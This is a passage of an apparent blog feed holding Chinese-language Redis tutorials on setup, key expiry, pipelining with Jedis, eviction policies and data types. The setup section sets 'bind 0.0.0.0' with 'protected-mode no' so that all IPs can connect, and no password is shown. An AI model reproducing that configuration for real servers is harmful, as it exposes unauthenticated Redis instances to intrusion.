&lt;策略&gt;</span><br></pre></td></tr></table></figure><p>可选策略：</p><table><thead><tr><th>策略名称</th><th>策略描述</th></tr></thead><tbody><tr><td>volatile-lru</td><td>仅限设置了失效时间的KEY，最久没有使用的</td></tr><tr><td>allkeys-lru</td><td>针对所有的KEY，最久没有使用的</td></tr><tr><td>volatile-lfu</td><td>仅限设置了失效时间的KEY，逐出使用频率最少的</td></tr><tr><td>allkeys-lfu</td><td>针对所有的KEY，逐出使用频率最少的</td></tr><tr><td>volatile-random</td><td>仅限设置了失效时间的KEY，随机逐出</td></tr><tr><td>allkeys-random</td><td>针对所有的KEY，随机逐出</td></tr><tr><td>volatile-ttl</td><td>仅限设置了失效时间的KEY，且优先逐出有效时间最短的(TTL)</td></tr><tr><td>noeviction</td><td>默认，不逐出任何内容，只返回一个写操作错误。</td></tr></tbody></table><p>4，配置访问限制，设置<code>bind</code>为<code>0.0.0.0</code>，并设置<code>protected-mode</code>为<code>no</code>使其bind生效，这样所有ip都可以访问</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">bind</span> 0.0.0.0</span><br><span class="line">protected-mode no</span><br></pre></td></tr></table></figure><p> <br>5，配置数据持久化方式，Redis在默认情况下是异步写入磁盘，所以断电可能会导致部分写操作丢失，所以一般情况下我们是开启AOF持久方式，将<code>appendonly</code>参数配置为<code>yes</code>即可，至于AOF和RDB两种方式的具体规则和区别，后续文章中会进行详细介绍。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">appendonly yes</span><br></pre></td></tr></table></figure><h5 id="服务启动"><a href="#服务启动" class="headerlink" title="服务启动"></a>服务启动</h5><p>1，启动redis服务，只需要借助<code>redis-server</code>即可，如：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/usr/<span class="built_in">local</span>/redis/bin/redis-server /usr/<span class="built_in">local</span>/redis/bin/redis.conf</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h4&gt;&lt;p&gt;单机部署redis非常简单，只需要安装好对应的依赖，然后下载redis源代码，使用&lt;code&gt;make&lt;/code&gt;命令，提取和编译Redi</summary>
      
    
    
    
    <category term="redis" scheme="https://32e.co/categories/redis/"/>
    
    
    <category term="分布式缓存" scheme="https://32e.co/tags/%E5%88%86%E5%B8%83%E5%BC%8F%E7%BC%93%E5%AD%98/"/>
    
    <category term="缓存" scheme="https://32e.co/tags/%E7%BC%93%E5%AD%98/"/>
    
    <category term="nosql" scheme="https://32e.co/tags/nosql/"/>
    
  </entry>
  
  <entry>
    <title>Redis专栏-Key的过期策略</title>
    <link href="https://32e.co/2020/10/01/redis-expire/"/>
    <id>https://32e.co/2020/10/01/redis-expire/</id>
    <published>2020-09-30T17:06:01.000Z</published>
    <updated>2021-03-18T06:19:33.982Z</updated>
    
    <content type="html"><![CDATA[<h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>&nbsp;&nbsp;&nbsp;&nbsp;Redis可以通过<code>expire</code>/<code>pexpire</code>给每个Key设置不同的生存时间，超时到期后，Key将自动删除。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;只有<code>删除</code>或<code>覆盖</code>等相关命令才能清除这个超时设置，如：<code>del</code>、 <code>set</code>。当然，也可以通过<code>persist</code>命令移除Key的expire设置，将Key重新设置为永久有效。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;Redis还提供了<code>rename</code>命令，可以将Key修改为其他名称，不过，这个操作仍然不会影响<code>expire</code>的设置。</p><h4 id="过期信息的存储"><a href="#过期信息的存储" class="headerlink" title="过期信息的存储"></a>过期信息的存储</h4><p>&nbsp;&nbsp;&nbsp;&nbsp;Key过期信息是存储的<code>Unix绝对时间戳</code>（版本&gt;=2.6以<code>毫秒</code>为单位），<br>所以，过期时间的值与Redis服务是否在运行没有直接关系，与机器的系统时间有的直接关系，因为时间不会因为服务停止而停止向前。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;这个机制也存在一个问题，如果你迁移RDB文件到其他的服务器上，而这两台服务器的系统时间相差较大，那么就会导致Key提前到期，或延迟到期。</p><h4 id="过期密钥的方式"><a href="#过期密钥的方式" class="headerlink" title="过期密钥的方式"></a>过期密钥的方式</h4><p>Redis的Key有两种过期方式：</p><ul><li>被动方式</li><li>主动方式</li></ul><h4 id="触发过期的时机"><a href="#触发过期的时机" class="headerlink" title="触发过期的时机"></a>触发过期的时机</h4><h5 id="1，被动方式："><a href="#1，被动方式：" class="headerlink" title="1，被动方式："></a><code>1，被动方式：</code></h5><p>&nbsp;&nbsp;&nbsp;&nbsp;仅当客户端尝试访问Key时，Key才会检测失效时间，从而被动失效。</p><h5 id="2，主动方式："><a href="#2，主动方式：" class="headerlink" title="2，主动方式："></a><code>2，主动方式：</code></h5><p>&nbsp;&nbsp;&nbsp;&nbsp;因为有的Key可能永远不会再次访问，所以被动方式显然不能满足。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;因此Redis会定期对具有设置了<code>expire</code>的Key，进行随机的检测，检测到失效，就直接删除失效Key。</p><p>具体实现逻辑：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Redis 每秒执行10次 的随机检测操作：</span><br><span class="line">     1，从一组设置了过期的密钥中随机选择20个Key</span><br><span class="line">     2，删除其中已经达到过期时间的Key</span><br><span class="line">     3，如果这一组key中有超过25％的密钥已过期，那么再次从&#96;步骤1&#96;开始执行</span><br></pre></td></tr></table></figure><p>注：这个实现逻辑是一个概率算法，它假设我们随机取的这一组样本，可以代表整个Redis空间，持续不断的检测，直到可能过期的Key所占百分比低于25％。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h4&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Redis可以通过&lt;code&gt;expire&lt;/code&gt;/&lt;code&gt;pexpire&lt;/co</summary>
      
    
    
    
    <category term="redis" scheme="https://32e.co/categories/redis/"/>
    
    
    <category term="分布式缓存" scheme="https://32e.co/tags/%E5%88%86%E5%B8%83%E5%BC%8F%E7%BC%93%E5%AD%98/"/>
    
    <category term="缓存" scheme="https://32e.co/tags/%E7%BC%93%E5%AD%98/"/>
    
    <category term="nosql" scheme="https://32e.co/tags/nosql/"/>
    
  </entry>
  
  <entry>
    <title>Redis专栏-使用管道加速请求</title>
    <link href="https://32e.co/2020/10/01/redis-pipelining/"/>
    <id>https://32e.co/2020/10/01/redis-pipelining/</id>
    <published>2020-09-30T17:02:01.000Z</published>
    <updated>2021-03-18T06:19:32.303Z</updated>
    
    <content type="html"><![CDATA[<h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>大家都在说Redis很快！没错！非常快！但你真的感受到它的快了吗？尤其在高并发或极差网络环境的情况下，真的快了吗？你用对了吗？</p><p>在讨论这些问题之前，我们需要先来了解一下什么是<code>RTT</code>，以及RTT带来的影响。</p><h4 id="什么是RTT？"><a href="#什么是RTT？" class="headerlink" title="什么是RTT？"></a>什么是RTT？</h4><p>一个TCP请求经历的步骤：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">1，客户端向服务器发送请求，并以阻塞的方式从套接字中读取服务器的响应。</span><br><span class="line">2，服务器接收到请求，处理命令并将响应发送回客户端。</span><br><span class="line"></span><br><span class="line">注：套接字是通信的基石，是支持TCP&#x2F;IP协议的路通信的基本操作单元。 --来自百度百科</span><br></pre></td></tr></table></figure><p>客户端和服务器通过网络链接进行连接，这样的链接可能非常快（环回接口：本机内的请求），也可能非常慢（通过网络连接的两台主机，它们之间可能存在很多跃点）。无论网络快慢，请求都会有一段等待时间（即：从客户端传输到服务器，再由服务器传输回客户端消耗的时间），这段时间称为 <code>RTT（请求往返时间）</code>。</p><p>而Redis的通讯，就是建立在TCP之上的，它就是典型的使用<code>客户端-服务器</code>交互模型进行请求响应的TCP服务器，所以<code>RTT</code>直接影响到它的每一个请求。</p><p>试想一下，如果我们的Redis服务器的 RTT时间 为200毫秒，那么即使服务器每秒有处理10万个请求的能力，但是在这个网络环境下，它每秒最多也只能处理5个请求。</p><p>那么到现在，你还认为它快吗？先别急着否定，这毕竟是受到了 网络因素的影响。下面我们就来看看，Redis有什么办法在这样的网络环境下，提升请求速度！</p><h4 id="Redis管道"><a href="#Redis管道" class="headerlink" title="Redis管道"></a>Redis管道</h4><p>解决问题的思路？导致问题的根源是RTT，没有办法干预RTT的时候，如何在一个请求中处理更多的命令就是它的优化方向。</p><p>解决这个问题的技术已经非常的成熟，业界也有大量技术正在使用它，它就是pipelining流水线(管道)技术，它的出现 有效的解决了单个请求的成本问题，Redis也从很早就开始支持管道传输。</p><p>下面我们看看，如何在Redis中使用管道。</p><h5 id="Redis管道示例"><a href="#Redis管道示例" class="headerlink" title="Redis管道示例"></a>Redis管道示例</h5><p>如下示例使用Jedis客户端：</p><p>代码示例：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Test001</span> </span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>&#123;</span><br><span class="line">        <span class="comment">// 创建连接</span></span><br><span class="line">        Jedis jedis = <span class="keyword">new</span> Jedis(<span class="string">&quot;k.32e.co&quot;</span>, <span class="number">6379</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 普通调用</span></span><br><span class="line">        <span class="keyword">long</span> t1 = System.currentTimeMillis();</span><br><span class="line">        <span class="keyword">for</span>(<span class="keyword">int</span> i = <span class="number">0</span> ; i &lt; <span class="number">500</span> ; i ++)&#123;</span><br><span class="line">            jedis.set(<span class="string">&quot;test:&quot;</span> + i,<span class="string">&quot;abc&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        System.out.println(<span class="string">&quot;Jedis耗时：&quot;</span> + (System.currentTimeMillis() - t1));</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 通过管道调用</span></span><br><span class="line">        <span class="keyword">long</span> t2 = System.currentTimeMillis();</span><br><span class="line">        Pipeline pipeline = jedis.pipelined();</span><br><span class="line">        <span class="keyword">for</span>(<span class="keyword">int</span> i = <span class="number">0</span> ; i &lt; <span class="number">500</span> ; i ++)&#123;</span><br><span class="line">            pipeline.set(<span class="string">&quot;test2:&quot;</span> + i,<span class="string">&quot;abc&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        pipeline.sync();</span><br><span class="line">        System.out.println(<span class="string">&quot;Jedis Pipeline耗时：&quot;</span> + (System.currentTimeMillis() - t2));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>耗时输出：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Jedis耗时：11314</span><br><span class="line">Jedis Pipeline耗时：51</span><br></pre></td></tr></table></figure><p>如上示例，我们看到 正常执行 和 通过管道执行 大量的命令时，它们两者之间的耗时整整相差了百倍不止。所以在合适的场合下，合理使用管道命令 能非常有效的加快Redis命令处理速度，有效的提高程序性能。</p><p>不过，虽然管道能够帮我们批量处理大量的命令，但是，美酒虽好，可不要贪杯哟！因为管道里的命令在服务器上执行的时候，是需要在内存中排队执行的，所以最好不要塞的太多哦。</p><h5 id="管道之外的方法"><a href="#管道之外的方法" class="headerlink" title="管道之外的方法"></a>管道之外的方法</h5><p>Redis除了支持<code>Pipeline</code>之外，它还支持<code>Lua</code>脚本，我们可以使用Lua编写一个脚本，将多个Redis命令放在一起执行，达到同样的效果。</p><p>那么我们要如何选择呢？它们之间有什么区别呢？</p><p>我们看看下面这个表格：</p><table><thead><tr><th>特性</th><th>Pipeline</th><th>Lua</th></tr></thead><tbody><tr><td>批量执行命令</td><td>支持</td><td>支持</td></tr><tr><td>保证原子性</td><td>不支持</td><td>支持</td></tr><tr><td>干预命令执行逻辑</td><td>不支持</td><td>支持</td></tr></tbody></table><p>整体来说，Lua脚本更加的灵活，因为是脚本，所以你可以随心所欲的控制各个命令之间的执行逻辑，以及处理它们之间的依赖关系。更重要的是，Lua是保证原子性的，所以在一些特定场景，只有它才能胜任。而Pipeline管道，更多的是为了解决RTT带来的问题。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h4&gt;&lt;p&gt;大家都在说Redis很快！没错！非常快！但你真的感受到它的快了吗？尤其在高并发或极差网络环境的情况下，真的快了吗？你用对了吗？&lt;/p&gt;
&lt;p</summary>
      
    
    
    
    <category term="redis" scheme="https://32e.co/categories/redis/"/>
    
    
    <category term="分布式缓存" scheme="https://32e.co/tags/%E5%88%86%E5%B8%83%E5%BC%8F%E7%BC%93%E5%AD%98/"/>
    
    <category term="缓存" scheme="https://32e.co/tags/%E7%BC%93%E5%AD%98/"/>
    
    <category term="nosql" scheme="https://32e.co/tags/nosql/"/>
    
    <category term="管道" scheme="https://32e.co/tags/%E7%AE%A1%E9%81%93/"/>
    
  </entry>
  
  <entry>
    <title>Redis专栏-内存淘汰策略</title>
    <link href="https://32e.co/2020/10/01/redis-maxmemory-policy/"/>
    <id>https://32e.co/2020/10/01/redis-maxmemory-policy/</id>
    <published>2020-09-30T17:01:01.000Z</published>
    <updated>2021-03-18T06:19:33.059Z</updated>
    
    <content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>&nbsp;&nbsp;&nbsp;&nbsp;作为一台服务器，它的内存肯定是有上限的，Redis是内存数据库，大量的数据保存在内存中，当内存空间达到瓶颈，超出了物理内存的上限时，就会导致内存操作频繁与磁盘进行交换，从而导致性能产生断崖式是下滑。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;内存中保存的数据，大量的Key应该都并不是有用的，所以淘汰它们，释放所占空间，可以极大的提供内存的可使用量。</p><h3 id="内存淘汰设置"><a href="#内存淘汰设置" class="headerlink" title="内存淘汰设置"></a>内存淘汰设置</h3><p>&nbsp;&nbsp;&nbsp;&nbsp;Redis的内存淘汰策略与<code>redis.conf</code>中配置的 <code>maxmemory</code>和 <code>maxmemory-policy</code>息息相关。</p><h4 id="maxmemory-最大内存设置"><a href="#maxmemory-最大内存设置" class="headerlink" title="maxmemory(最大内存设置)"></a>maxmemory(最大内存设置)</h4><p>最大内存设置，默认是注释的，表示不做任何限制，单位是<code>byte</code>字节。如果内存超出这个最大限制，Redis会根据配置的淘汰策略删除其他的KEY。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">maxmemory &lt;bytes&gt;</span><br></pre></td></tr></table></figure><h4 id="maxmemory-policy-内存淘汰策略"><a href="#maxmemory-policy-内存淘汰策略" class="headerlink" title="maxmemory-policy(内存淘汰策略)"></a>maxmemory-policy(内存淘汰策略)</h4><p>内存达到<code>maxmemory</code>上限的时候，触发的淘汰策略，默认使用的策略为：<code>noeviction</code>，即不做任何处理，这种情况，会直接提示写操作错误。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">maxmemory-policy &lt;策略&gt;</span><br></pre></td></tr></table></figure><p>注意：无论配置的是什么策略，都有可能不满足，所以，当没有合适的Key被逐出时，Redis都会在写入时返回操作错误</p><h3 id="支持的淘汰策略"><a href="#支持的淘汰策略" class="headerlink" title="支持的淘汰策略"></a>支持的淘汰策略</h3><table><thead><tr><th>策略名称</th><th>策略描述</th></tr></thead><tbody><tr><td>volatile-lru</td><td>仅限设置了失效时间的KEY，最近最少使用的</td></tr><tr><td>allkeys-lru</td><td>针对所有的KEY，最近最少使用的</td></tr><tr><td>volatile-lfu</td><td>仅限设置了失效时间的KEY，逐出使用频率最低的</td></tr><tr><td>allkeys-lfu</td><td>针对所有的KEY，逐出使用频率最低的</td></tr><tr><td>volatile-random</td><td>仅限设置了失效时间的KEY，随机逐出</td></tr><tr><td>allkeys-random</td><td>针对所有的KEY，随机逐出</td></tr><tr><td>volatile-ttl</td><td>仅限设置了失效时间的KEY，且优先逐出有效时间最短的(TTL)</td></tr><tr><td>noeviction</td><td>默认，不逐出任何内容，只返回一个写操作错误。</td></tr></tbody></table><p>注：以上所有策略都不是精确算法，而是近似算法，这样做的目的是为了节省内存。</p><p>而且，可以通过<code>maxmemory-samples</code>参数来调整它的速度或准确度，默认值为：5，表示Redis将检查5个Key并选择一个是最符合逐出条件的key。</p><p>值越大，检测精准度越高，但速度就越慢。正常来说，建议默认5个效果比较居中。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">maxmemory-samples 5</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h3&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;作为一台服务器，它的内存肯定是有上限的，Redis是内存数据库，大量的数据保存在内存中，当内</summary>
      
    
    
    
    <category term="redis" scheme="https://32e.co/categories/redis/"/>
    
    
    <category term="分布式缓存" scheme="https://32e.co/tags/%E5%88%86%E5%B8%83%E5%BC%8F%E7%BC%93%E5%AD%98/"/>
    
    <category term="缓存" scheme="https://32e.co/tags/%E7%BC%93%E5%AD%98/"/>
    
    <category term="nosql" scheme="https://32e.co/tags/nosql/"/>
    
    <category term="淘汰策略" scheme="https://32e.co/tags/%E6%B7%98%E6%B1%B0%E7%AD%96%E7%95%A5/"/>
    
  </entry>
  
  <entry>
    <title>Redis专栏-基本数据类型介绍</title>
    <link href="https://32e.co/2020/10/01/redis-data-types-intro/"/>
    <id>https://32e.co/2020/10/01/redis-data-types-intro/</id>
    <published>2020-09-30T17:01:01.000Z</published>
    <updated>2021-03-18T06:19:48.897Z</updated>
    
    <content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>&nbsp;&nbsp;&nbsp;&nbsp;Redis不仅仅是简单的键值对存储服务，它是一个支持 多种不同类型数据结构 数据的服务器。</p><p>它目前支持的数据类型：</p><ul><li>Binary-safe String： 二进制安全字符串</li><li>List： 列表</li><li>Set： 集合</li><li>Sorted Set： 有序集合</li><li>Hash： 哈希</li><li>Bit Array：位数组，String的扩展</li><li>HyperLogLogs：概率数据结构</li><li>Stream：流</li></ul><h3 id="数据类型"><a href="#数据类型" class="headerlink" title="数据类型"></a>数据类型</h3><h4 id="Binary-safe-String-二进制安全字符串"><a href="#Binary-safe-String-二进制安全字符串" class="headerlink" title="Binary-safe String(二进制安全字符串)"></a>Binary-safe String(二进制安全字符串)</h4><p>String是Redis最基本、最简单的数据类型，它允许的最大密钥大小为<code>512MB</code>，同时，值也不能大于<code>512MB</code>，不过建议不要设置太长的key或value，否则它会给你带来巨大的内存开销。</p><p>同时，它是二进制安全的，所以它可以存储包括字符串在内的任何数据。</p><p>什么是二进制安全？</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">二进制安全功能（函数）是指在一个二进制文件上所执行的不更改文件内容的功能或者操作，</span><br><span class="line">其本质上将操作输入作为原始的、无任何特殊格式意义的数据流，它保证了二进制数据的信息安全。</span><br></pre></td></tr></table></figure><p>注：<code>SET</code>和<code>GET</code>命令是我们设置和检索字符串值的方式</p><p>奇异的<code>incr</code>：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">看到这里，大家可能会疑惑了，我们在使用 incr&#x2F;get 命令的时候，明明就是整型的数字啊！</span><br><span class="line"></span><br><span class="line">因为Redis并没有整数类型，所以，INCR命令在执行的时候，会将字符串解析为一个整数，达到整型的效果。</span><br></pre></td></tr></table></figure><h4 id="List-列表"><a href="#List-列表" class="headerlink" title="List(列表)"></a>List(列表)</h4><p>List是字符串元素的<code>有序</code>集合，通过<code>链表</code>实现，按照插入的顺序排序，元素<code>可重复</code>。</p><p>链表（Linked list）是一种线性表，是很常见的基础数据结构，在每一个节点里存到下一个节点的指针，由于不必按顺序存储。</p><p>所以链表在插入的时候可以达到O(1)的复杂度，无论你在 1万 还是 1千万 的列表中，在其 左侧 或 右侧 添加元素的速度都是 非常快的、相同的。</p><p>但是访问速度不是那么快了，查找一个节点或者访问特定编号的节点则需要O(n)的时间，特别是LRANGE命令，查询时间复杂度：O(S+N)， S 为偏移量 start ， N 为指定区间内元素的数量，时间复杂度与所访问元素的索引量成正比。</p><p>常用的相关命令：</p><table><thead><tr><th>命令</th><th>解释</th></tr></thead><tbody><tr><td>LPUSH/RPUSH</td><td>将一个新元素到列表的左侧（头部）/右侧（尾部）</td></tr><tr><td>LRANGE</td><td>从列表中提取指定范围的元素</td></tr><tr><td>LPOP/RPOP</td><td>返回并移除列表左侧（头部）/右侧（尾部）的元素</td></tr><tr><td>LTRIM</td><td>修剪指定范围的列表，让列表只保留指定范围的元素</td></tr><tr><td>LLEN</td><td>获取列表的元素数量</td></tr></tbody></table><p>适合的使用的场景：</p><ul><li>作为消息队列</li><li>浏览足迹</li></ul><h4 id="Set-集合"><a href="#Set-集合" class="headerlink" title="Set(集合)"></a>Set(集合)</h4><p>Set是字符串元素的<code>无序</code>集合，通过<code>哈希表</code>实现，元素<code>不可重复</code>。</p><p>它的 添加、删除、查找 的复杂度都是 O(1)。</p><p>何为哈希表？</p><p>哈希表(Hash table)也被叫做散列表，它通过计算一个键值的映射函数(散列函数)，将键（Key）映射到表中的一个位置，从而直接访问数据储存位置的数据结构，能带来极高的查询速度。</p><p>哈希算法是一种摘要算法，不同的数据产生定长的摘要，所以会产生碰撞冲突，为了解决数据冲突，会采用<code>单独链表法</code>将散列到同一个存储位置的所有元素保存在一个链表中。</p><h4 id="Sorted-Set-有序集合"><a href="#Sorted-Set-有序集合" class="headerlink" title="Sorted Set(有序集合)"></a>Sorted Set(有序集合)</h4><p>有序集合和集合Set的特性基本相同，唯一的区别在于它是有序的。</p><p>每个字符串元素都与<code>score</code>这个浮点数字值相关联。这个值就是它排序的分值(分值可以相同)，根据这个分值实现元素的升序或降序排列。</p><p>适合的使用的场景：</p><ul><li>排行榜</li><li>商品推荐</li></ul><h4 id="Hash-哈希"><a href="#Hash-哈希" class="headerlink" title="Hash(哈希)"></a>Hash(哈希)</h4><p>Hash是一个由 <code>字段</code> 和 <code>值</code> 组成的映射表，也就是一个个<code>键值对</code>，字段和值都是字符串类型，你可以把它想象成Java里的HashMap&lt;String,String&gt;，一个Key对应一个HashMap。</p><p>相对单独使用 键值对 保存数据而言，使用Hash类型来存储，更加节省空间。</p><p>适合的使用的场景：</p><ul><li>购物车</li><li>对象属性信息</li></ul><h4 id="Bit-Array-位数组"><a href="#Bit-Array-位数组" class="headerlink" title="Bit Array(位数组)"></a>Bit Array(位数组)</h4><p>Bit Array不是实际的数据类型，而是在String类型上定义的一组面向位的操作，所以可以说它是String类型的一种扩展。</p><p>由于字符串是二进制安全，并且最大长度为512 MB，因此它们适合设置多达 2的32次方 个不同的字节。</p><p>Bit Array就是一个长度可变的bit数组，每个位只能存储0或1。</p><p>位操作分为两类：</p><ul><li>1，对单个位操作，把字段的某个位设置为 0或1</li><li>2，对给定的位范围内，统计其设置的位(0或1)的数量</li></ul><p>所以，它的最大优点是：在存储信息时可以节省大量空间，例如，在以增量用户ID表示不同用户的系统中，仅使用512MB内存就可以记住40亿用户的位信息</p><p>适合的使用的场景：</p><ul><li>数据去重</li></ul><h4 id="HyperLogLogs-概率数据结构"><a href="#HyperLogLogs-概率数据结构" class="headerlink" title="HyperLogLogs(概率数据结构)"></a>HyperLogLogs(概率数据结构)</h4><p>HyperLogLogs是一种概率数据结构，用于对唯一元素进行计数（这里指集合的基数），它存在一定误差，但误差小于1％。</p><p>通常，对唯一元素进行计数需要保存元素本身，并使用与要计数的元素数量成比例的内存量。</p><p>而HyperLogLogs只需根据输入元素来计算基数，而不会储存输入元素本身，所以，无论元素的数量和体积有多大，计算基数所需的内存空间都是固定不变的，并且是很小，每个Key的占用内存不会超过12KB。</p><p>这个特性造就了它的价值，当然也丧失了获取元素的能力，不过获取元素的能力也不需要，所以根本不care。</p><p>相关命令：</p><table><thead><tr><th>命令</th><th>解释</th><th>示例</th></tr></thead><tbody><tr><td>pfadd</td><td>添加一个或多个元素</td><td><code>pfadd k a b c </code></td></tr><tr><td>pfcount</td><td>获取Key的基数估算值</td><td><code>pfcount k</code></td></tr><tr><td>pfmerge</td><td>合并多个Key到一个新Key，如：将<code>k1</code>与<code>k2</code>合并到<code>newk</code></td><td><code>pfmerge newk  k1 k2</code></td></tr></tbody></table><p>示例：</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">redis0&gt;</span> <span class="string">pfadd</span> <span class="string">k</span> <span class="string">a</span> <span class="string">b</span> <span class="string">c</span></span><br><span class="line"><span class="number">1</span></span><br><span class="line"><span class="string">redis0&gt;</span> <span class="string">pfadd</span> <span class="string">k</span> <span class="string">c</span> <span class="string">d</span></span><br><span class="line"><span class="number">1</span></span><br><span class="line"><span class="string">redis0&gt;</span> <span class="string">pfcount</span> <span class="string">k</span></span><br><span class="line"><span class="number">4</span></span><br></pre></td></tr></table></figure><p>适合使用的场景：</p><ul><li>记录网站访问量、PV、UV之类的数据</li></ul><h4 id="Stream-流"><a href="#Stream-流" class="headerlink" title="Stream(流)"></a>Stream(流)</h4><p>Stream是Redis 5.0引入的新数据类型，它就像日志文件一样，仅以追加模式添加数据。</p><p>流与列表没有太大不同，只是附加的API更复杂，功能更强大。</p><p>它非常适合作为消息系统来使用，虽然 Redis 本身提供了发布订阅 (pub/sub) 来实现消息队列的功能，但是以前的发布订阅功能是有缺陷的，消息无法持久化，如果出现网络断开、Redis宕机等，消息就会被丢弃。</p><p>Stream流的工作方式截然不同，所有消息都将无限期保留在流中，除非用户明确要求删除，并且，丰富的API足以支撑整个消息系统的功能。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h3&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Redis不仅仅是简单的键值对存储服务，它是一个支持 多种不同类型数据结构 数据的服务器。&lt;</summary>
      
    
    
    
    <category term="redis" scheme="https://32e.co/categories/redis/"/>
    
    
    <category term="分布式缓存" scheme="https://32e.co/tags/%E5%88%86%E5%B8%83%E5%BC%8F%E7%BC%93%E5%AD%98/"/>
    
    <category term="缓存" scheme="https://32e.co/tags/%E7%BC%93%E5%AD%98/"/>
    
    <category term="nosql" scheme="https://32e.co/tags/nosql/"/>
    
  </entry>
  
  <entry>
    <title>代码生成工具(mybatis-plus-generator)</title>
    <link href="https://32e.co/2020/09/18/mybatis-plus-generator/"/>
    <id>https://32e.co/2020/09/18/mybatis-plus-generator/</id>
    <published>2020-09-18T09:10:33.000Z</published>
    <updated>2020-09-21T09:23:12.000Z</updated>
    
